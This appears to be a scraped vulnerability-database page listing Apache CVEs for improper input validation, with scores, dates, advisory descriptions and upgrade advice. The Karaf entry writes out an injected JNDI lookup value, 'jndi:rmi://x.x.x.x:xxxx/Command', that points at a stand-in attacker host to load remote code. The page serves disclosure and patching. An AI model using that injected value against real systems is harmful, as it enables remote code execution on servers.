Product-sling_commons_jsonorg.apache.sling.commons.jsonsling_commons_json
CWE ID-CWE-20
Improper Input Validation
CVE-2022-46363
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.15% / 35.31%
||
7 Day CHG+0.01%
Published-13 Dec, 2022 | 14:46
Updated-22 Apr, 2025 | 03:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache CXF directory listing / code exfiltration

A vulnerability in Apache CXF before versions 3.5.5 and 3.4.10 allows an attacker to perform a remote directory listing or code exfiltration. The vulnerability only applies when the CXFServlet is configured with both the static-resources-list and redirect-query-check attributes. These attributes are not supposed to be used together, and so the vulnerability can only arise if the CXF service is misconfigured.

Action-Not Available
Vendor-The Apache Software Foundation
Product-cxfApache CXF
CWE ID-CWE-20
Improper Input Validation
CVE-2022-45875
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.8||CRITICAL
EPSS-3.45% / 87.52%
||
7 Day CHG~0.00%
Published-04 Jan, 2023 | 14:57
Updated-03 Apr, 2025 | 16:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache DolphinScheduler: Remote command execution Vulnerability in script alert plugin

Improper validation of script alert plugin parameters in Apache DolphinScheduler to avoid remote command execution vulnerability. This issue affects Apache DolphinScheduler version 3.0.1 and prior versions; version 3.1.0 and prior versions. This attack can be performed only by authenticated users which can login to DS.

Action-Not Available
Vendor-The Apache Software Foundation
Product-dolphinschedulerApache DolphinScheduler
CWE ID-CWE-20
Improper Input Validation
CVE-2016-8740
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-68.26% / 98.61%
||
7 Day CHG~0.00%
Published-05 Dec, 2016 | 19:00
Updated-12 Apr, 2025 | 10:46
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The mod_http2 module in the Apache HTTP Server 2.4.17 through 2.4.23, when the Protocols configuration includes h2 or h2c, does not restrict request-header length, which allows remote attackers to cause a denial of service (memory consumption) via crafted CONTINUATION frames in an HTTP/2 request.

Action-Not Available
Vendor-The Apache Software Foundation
Product-http_serverApache HTTP Server
CWE ID-CWE-20
Improper Input Validation
CVE-2022-46365
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.1||CRITICAL
EPSS-0.06% / 19.79%
||
7 Day CHG~0.00%
Published-01 May, 2023 | 14:53
Updated-15 Oct, 2024 | 17:35
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache StreamPark (incubating): Logic error causing any account reset

Apache StreamPark 1.0.0 before 2.0.0 When the user successfully logs in, to modify his profile, the username will be passed to the server-layer as a parameter, but not verified whether the user name is the currently logged user and whether the user is legal, This will allow malicious attackers to send any username to modify and reset the account, Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.

Action-Not Available
Vendor-The Apache Software Foundation
Product-streamparkApache StreamPark (incubating)streampark
CWE ID-CWE-20
Improper Input Validation
CVE-2022-45470
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.24% / 47.42%
||
7 Day CHG~0.00%
Published-21 Nov, 2022 | 00:00
Updated-29 Apr, 2025 | 14:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Hama allows XSS and information disclosure

missing input validation in Apache Hama may cause information disclosure through path traversal and XSS. Since Apache Hama is EOL, we do not expect these issues to be fixed.

Action-Not Available
Vendor-The Apache Software Foundation
Product-hamaApache Hama
CWE ID-CWE-20
Improper Input Validation
CVE-2022-44644
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-6.5||MEDIUM
EPSS-0.23% / 45.99%
||
7 Day CHG~0.00%
Published-31 Jan, 2023 | 09:40
Updated-27 Mar, 2025 | 15:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Linkis (incubating): The DatasourceManager module has a Local File Read Vulnerability

In Apache Linkis <=1.3.0 when used with the MySQL Connector/J in the data source module, an authenticated attacker could read arbitrary local files by connecting a rogue MySQL server, By adding allowLoadLocalInfile to true in the JDBC parameter. Therefore, the parameters in the JDBC URL should be blacklisted. Versions of Apache Linkis <= 1.3.0 will be affected.  We recommend users upgrade the version of Linkis to version 1.3.1

Action-Not Available
Vendor-The Apache Software Foundation
Product-linkisApache Linkis (incubating)
CWE ID-CWE-20
Improper Input Validation
CVE-2016-8738
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-5.9||MEDIUM
EPSS-1.11% / 78.14%
||
7 Day CHG~0.00%
Published-20 Sep, 2017 | 17:00
Updated-20 Apr, 2025 | 01:37
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

In Apache Struts 2.5 through 2.5.5, if an application allows entering a URL in a form field and the built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL.

Action-Not Available
Vendor-The Apache Software Foundation
Product-strutsApache Struts
CWE ID-CWE-20
Improper Input Validation
CVE-2025-26413
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-1.15% / 78.53%
||
7 Day CHG~0.00%
Published-22 Apr, 2025 | 07:07
Updated-23 Jun, 2025 | 19:25
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Kvrocks: The server was crashed by the negative offset

Improper Input Validation vulnerability in Apache Kvrocks. The SETRANGE command didn't check if the `offset` input is a positive integer and use it as an index of a string. So it will cause the server to crash due to its index is  out of range. This issue affects Apache Kvrocks: through 2.11.1. Users are recommended to upgrade to version 2.12.0, which fixes the issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-kvrocksApache Kvrocks
CWE ID-CWE-20
Improper Input Validation
CVE-2022-42468
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.8||CRITICAL
EPSS-6.40% / 91.06%
||
7 Day CHG~0.00%
Published-26 Oct, 2022 | 00:00
Updated-07 May, 2025 | 14:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Flume prior to 1.11.0 has an Improper Input Validation (JNDI Injection) in JMSSource

Apache Flume versions 1.4.0 through 1.10.1 are vulnerable to a remote code execution (RCE) attack when a configuration uses a JMS Source with an unsafe providerURL. This issue is fixed by limiting JNDI to allow only the use of the java protocol or no protocol.

Action-Not Available
Vendor-The Apache Software Foundation
Product-flumeApache Flume
CWE ID-CWE-20
Improper Input Validation
CWE ID-CWE-74
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CVE-2022-40145
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-9.8||CRITICAL
EPSS-5.38% / 90.13%
||
7 Day CHG~0.00%
Published-21 Dec, 2022 | 15:23
Updated-15 Apr, 2025 | 18:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Karaf: JDBC JAAS LDAP injection

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Action-Not Available
Vendor-The Apache Software Foundation
Product-karafApache Karaf
CWE ID-CWE-20
Improper Input Validation
CWE ID-CWE-74
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CVE-2018-8022
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-6.14% / 90.83%
||
7 Day CHG~0.00%
Published-29 Aug, 2018 | 13:00
Updated-16 Sep, 2024 | 21:57
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

A carefully crafted invalid TLS handshake can cause Apache Traffic Server (ATS) to segfault. This affects version 6.2.2. To resolve this issue users running 6.2.2 should upgrade to 6.2.3 or later versions.

Action-Not Available
Vendor-The Apache Software Foundation
Product-traffic_serverApache Traffic Server
CWE ID-CWE-20
Improper Input Validation
CVE-2023-40272
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.44% / 63.27%
||
7 Day CHG~0.00%
Published-17 Aug, 2023 | 13:52
Updated-13 Feb, 2025 | 17:17
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Airflow Spark Provider Arbitrary File Read via JDBC

Apache Airflow Spark Provider, versions before 4.1.3, is affected by a vulnerability that allows an attacker to pass in malicious parameters when establishing a connection giving an opportunity to read files on the Airflow server. It is recommended to upgrade to a version that is not affected.

Action-Not Available
Vendor-The Apache Software Foundation
Product-apache-airflow-providers-apache-sparkApache Airflow Spark Providerapache-airflow-providers-apache-drill
CWE ID-CWE-20
Improper Input Validation
CVE-2023-39913
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-8.8||HIGH
EPSS-0.41% / 61.70%
||
7 Day CHG~0.00%
Published-08 Nov, 2023 | 08:04
Updated-13 Feb, 2025 | 17:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache UIMA Java SDK Core, Apache UIMA Java SDK CPE, Apache UIMA Java SDK Vinci adapter, Apache UIMA Java SDK tools: Potential untrusted code execution when deserializing certain binary CAS formats

Deserialization of Untrusted Data, Improper Input Validation vulnerability in Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK.This issue affects Apache UIMA Java SDK: before 3.5.0. Users are recommended to upgrade to version 3.5.0, which fixes the issue. There are several locations in the code where serialized Java objects are deserialized without verifying the data. This affects in particular: * the deserialization of a Java-serialized CAS, but also other binary CAS formats that include TSI information using the CasIOUtils class; * the CAS Editor Eclipse plugin which uses the the CasIOUtils class to load data; * the deserialization of a Java-serialized CAS of the Vinci Analysis Engine service which can receive using Java-serialized CAS objects over network connections; * the CasAnnotationViewerApplet and the CasTreeViewerApplet; * the checkpointing feature of the CPE module. Note that the UIMA framework by default does not start any remotely accessible services (i.e. Vinci) that would be vulnerable to this issue. A user or developer would need to make an active choice to start such a service. However, users or developers may use the CasIOUtils in their own applications and services to parse serialized CAS data. They are affected by this issue unless they ensure that the data passed to CasIOUtils is not a serialized Java object. When using Vinci or using CasIOUtils in own services/applications, the unrestricted deserialization of Java-serialized CAS files may allow arbitrary (remote) code execution. As a remedy, it is possible to set up a global or context-specific ObjectInputFilter (cf. https://openjdk.org/jeps/290  and  https://openjdk.org/jeps/415 ) if running UIMA on a Java version that supports it. Note that Java 1.8 does not support the ObjectInputFilter, so there is no remedy when running on this out-of-support platform. An upgrade to a recent Java version is strongly recommended if you need to secure an UIMA version that is affected by this issue. To mitigate the issue on a Java 9+ platform, you can configure a filter pattern through the "jdk.serialFilter" system property using a semicolon as a separator: To allow deserializing Java-serialized binary CASes, add the classes: * org.apache.uima.cas.impl.CASCompleteSerializer * org.apache.uima.cas.impl.CASMgrSerializer * org.apache.uima.cas.impl.CASSerializer * java.lang.String To allow deserializing CPE Checkpoint data, add the following classes (and any custom classes your application uses to store its checkpoints): * org.apache.uima.collection.impl.cpm.CheckpointData * org.apache.uima.util.ProcessTrace * org.apache.uima.util.impl.ProcessTrace_impl * org.apache.uima.collection.base_cpm.SynchPoint Make sure to use "!*" as the final component to the filter pattern to disallow deserialization of any classes not listed in the pattern. Apache UIMA 3.5.0 uses tightly scoped ObjectInputFilters when reading Java-serialized data depending on the type of data being expected. Configuring a global filter is not necessary with this version.

Action-Not Available
Vendor-The Apache Software Foundation
Product-uimajApache UIMA Java SDK CPEApache UIMA Java SDK CoreApache UIMA Java SDK Vinci adapterApache UIMA Java SDK tools
CWE ID-CWE-20
Improper Input Validation
CWE ID-CWE-502
Deserialization of Untrusted Data
CVE-2018-8030
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-0.91% / 75.78%
||
7 Day CHG~0.00%
Published-19 Jun, 2018 | 13:00
Updated-16 Sep, 2024 | 19:41
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

A Denial of Service vulnerability was found in Apache Qpid Broker-J versions 7.0.0-7.0.4 when AMQP protocols 0-8, 0-9 or 0-91 are used to publish messages with size greater than allowed maximum message size limit (100MB by default). The broker crashes due to the defect. AMQP protocols 0-10 and 1.0 are not affected.

Action-Not Available
Vendor-The Apache Software Foundation
Product-qpid_broker-jApache Qpid Broker-J
CWE ID-CWE-20
Improper Input Validation
CVE-2023-39456
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-7.33% / 91.71%
||
7 Day CHG~0.00%
Published-17 Oct, 2023 | 06:58
Updated-12 Jun, 2025 | 15:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Traffic Server: Malformed http/2 frames can cause an abort

Improper Input Validation vulnerability in Apache Traffic Server with malformed HTTP/2 frames.This issue affects Apache Traffic Server: from 9.0.0 through 9.2.2. Users are recommended to upgrade to version 9.2.3, which fixes the issue.

Action-Not Available
Vendor-Fedora ProjectThe Apache Software Foundation
Product-traffic_serverfedoraApache Traffic Servertraffic_server
CWE ID-CWE-20
Improper Input Validation
CVE-2013-2088
Matching Score-6
Assigner-Red Hat, Inc.
ShareView Details
Matching Score-6
Assigner-Red Hat, Inc.
CVSS Score-7.1||HIGH
EPSS-6.49% / 91.12%
||
7 Day CHG~0.00%
Published-31 Jul, 2013 | 10:00
Updated-11 Apr, 2025 | 00:51
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

contrib/hook-scripts/svn-keyword-check.pl in Subversion before 1.6.23 allows remote authenticated users with commit permissions to execute arbitrary commands via shell metacharacters in a filename.

Action-Not Available
Vendor-collabnetn/aThe Apache Software FoundationopenSUSE
Product-subversionopensusen/a
CWE ID-CWE-20
Improper Input Validation
CVE-2023-37415
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-8.8||HIGH
EPSS-0.40% / 60.80%
||
7 Day CHG~0.00%
Published-13 Jul, 2023 | 07:35
Updated-13 Feb, 2025 | 17:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Airflow Apache Hive Provider: Improper Input Validation in Hive Provider with proxy_user

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Apache Hive Provider. Patching on top of CVE-2023-35797 Before 6.1.2 the proxy_user option can also inject semicolon. This issue affects Apache Airflow Apache Hive Provider: before 6.1.2. It is recommended updating provider version to 6.1.2 in order to avoid this vulnerability.

Action-Not Available
Vendor-The Apache Software Foundation
Product-apache-airflow-providers-apache-hiveApache Airflow Apache Hive Providerapache-airflow-providers-apache-hive
CWE ID-CWE-20
Improper Input Validation
CVE-2026-24734
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.4||HIGH
EPSS-0.11% / 29.19%
||
7 Day CHG~0.00%
Published-17 Feb, 2026 | 18:53
Updated-11 Mar, 2026 | 16:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Apache Tomcat Native, Apache Tomcat: OCSP revocation bypass

Improper Input Validation vulnerability in Apache Tomcat Native, Apache Tomcat. When using an OCSP responder, Tomcat Native (and Tomcat's FFM port of the Tomcat Native code) did not complete verification or freshness checks on the OCSP response which could allow certificate revocation to be bypassed. This issue affects Apache Tomcat Native:  from 1.3.0 through 1.3.4, from 2.0.0 through 2.0.11; Apache Tomcat: from 11.0.0-M1 through 11.0.17, from 10.1.0-M7 through 10.1.51, from 9.0.83 through 9.0.114. The following versions were EOL at the time the CVE was created but are known to be affected: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39. Older EOL versions are not affected. Apache Tomcat Native users are recommended to upgrade to versions 1.3.5 or later or 2.0.12 or later, which fix the issue. Apache Tomcat users are recommended to upgrade to versions 11.0.18 or later, 10.1.52 or later or 9.0.115 or later which fix the issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-tomcattomcat_nativeApache Tomcat NativeApache Tomcat
CWE ID-CWE-20
Improper Input Validation
CVE-2016-4465
Matching Score-6
Assigner-Red Hat, Inc.
ShareView Details
Matching Score-6
Assigner-Red Hat, Inc.
CVSS Score-5.3||MEDIUM
EPSS-10.36% / 93.22%
||
7 Day CHG~0.00%
Published-04 Jul, 2016 | 22:00
Updated-12 Apr, 2025 | 10:46
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

The URLValidator class in Apache Struts 2 2.3.20 through 2.3.28.1 and 2.5.x before 2.5.1 allows remote attackers to cause a denial of service via a null value for a URL field.

Action-Not Available
Vendor-n/aThe Apache Software Foundation
Product-strutsn/a
CWE ID-CWE-20
Improper Input Validation
CVE-2022-36125
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-1.24% / 79.30%
||
7 Day CHG~0.00%
Published-09 Aug, 2022 | 06:50
Updated-06 Mar, 2026 | 18:16
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available
Integer overflow when reading corrupted .avro file in Avro Rust SDK

It is possible to crash (panic) an application by providing a corrupted data to be read. This issue affects Rust applications using Apache Avro Rust SDK prior to 0.14.0 (previously known as avro-rs). Users should update to apache-avro version 0.14.0 which addresses this issue.

Action-Not Available
Vendor-The Apache Software Foundation
Product-avroApache Avro
CWE ID-CWE-190
Integer Overflow or Wraparound
CWE ID-CWE-20
Improper Input Validation
CVE-2018-8038
Matching Score-6
Assigner-Apache Software Foundation
ShareView Details
Matching Score-6
Assigner-Apache Software Foundation
CVSS Score-7.5||HIGH
EPSS-50.43% / 97.85%
||
7 Day CHG~0.00%
Published-05 Jul, 2018 | 13:00
Updated-16 Sep, 2024 | 22:15
Rejected-Not Available
Known To Be Used In Ransomware Campaigns?-Not Available
KEV Added-Not Available
KEV Action Due Date-Not Available

Versions of Apache CXF Fediz prior to 1.4.4 do not fully disable Document Type Declarations (DTDs) when either parsing the Identity Provider response in the application plugins, or in the Identity Provider itself when parsing certain XML-based parameters.

Action-Not Available
Vendor-The Apache Software Foundation
Product-cxf_fedizApache CXF Fediz
CWE ID-CWE-20
Improper Input Validation
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